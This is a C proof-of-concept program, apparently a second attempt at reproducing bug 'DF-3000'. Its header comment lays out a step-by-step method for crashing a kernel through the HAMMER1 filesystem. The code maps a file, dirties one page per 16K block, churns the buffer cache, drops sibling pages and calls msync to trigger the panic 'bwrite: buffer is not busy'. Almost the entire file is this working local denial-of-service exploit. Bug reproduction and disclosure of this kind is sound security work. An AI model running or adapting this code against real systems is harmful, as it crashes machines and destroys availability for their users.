DF-3000 / op3000b.c
/* * DF-3000 PoC (attempt 2): force the !B_CACHE branch of the UIO_NOCOPY * path in hammer_vop_write() by recycling the covering 16K buffer and * reclaiming the clean sibling pages while keeping one page dirty. * * 1. ftruncate sparse 1M file on HAMMER1; mmap MAP_SHARED. * 2. read-touch every page (fault read-ahead: full 16K blocks become * valid; buffers created clean/B_CACHE). * 3. write ONE byte per 16K block (page dirty via PTE; buffer stays clean). * 4. churn the buffer cache with a large read of another file so the * covering buffers get recycled (getnewbuf LRU). * 5. madvise(MADV_DONTNEED) a second read-only mapping of the same file * to drop the now-clean sibling pages (dirty pages are kept). * 6. msync(MS_SYNC) -> vnode_pager_generic_putpages -> VOP_WRITE * UIO_NOCOPY -> getblk(16K): sibling pages missing -> !B_CACHE -> * bqrelse(bp); bread(&bp) [breadnx reuses the released buffer] -> * bwrite() on an unlocked buffer -> panic("bwrite: buffer is not busy") */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000b.bin"; const char *churn = (argc > 2) ? argv[2] : "/mnt/h1/churn.bin"; size_t size = 1 << 20; char *w, *r; volatile char *vp; setvbuf(stdout, NULL, _IONBF, 0); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, size)) { perror("ftruncate"); return 1; } w = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (w == MAP_FAILED) { perror("mmap w"); return 1; } r = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0); if (r == MAP_FAILED) { perror("mmap r"); return 1; } /* 2. populate whole blocks (clean) */ memset(w, 0x11, size); if (msync(w, size, MS_SYNC)) perror("msync fill"); /* 3. dirty exactly one page per 16K block */ for (size_t off = 0; off < size; off += 16384) w[off + 100] = (char)off; printf("pages dirtied (1 per 16K block)\n"); /* 4. churn the buffer cache: read ~256MB of another file */ int cfd = open(churn, O_RDONLY); if (cfd >= 0) { static char buf[65536]; long total = 0; ssize_t n; while (total < 256L * 1024 * 1024 && (n = read(cfd, buf, sizeof(buf))) > 0) total += n; close(cfd); printf("churned %ld MB\n", total / (1024 * 1024)); } else { printf("churn file %s: %s\n", churn, strerror(errno)); } /* 5. drop clean sibling pages via a second mapping */ if (madvise(r, size, MADV_DONTNEED)) printf("madvise: %s\n", strerror(errno)); else printf("madvise DONTNEED done\n"); /* 6. putpages for the dirty pages */ printf("msync(MS_SYNC)...\n"); if (msync(w, size, MS_SYNC)) printf("msync: %s\n", strerror(errno)); else printf("msync: OK\n"); munmap(w, size); munmap(r, size); close(fd); unlink(path); printf("done\n"); return 0; } |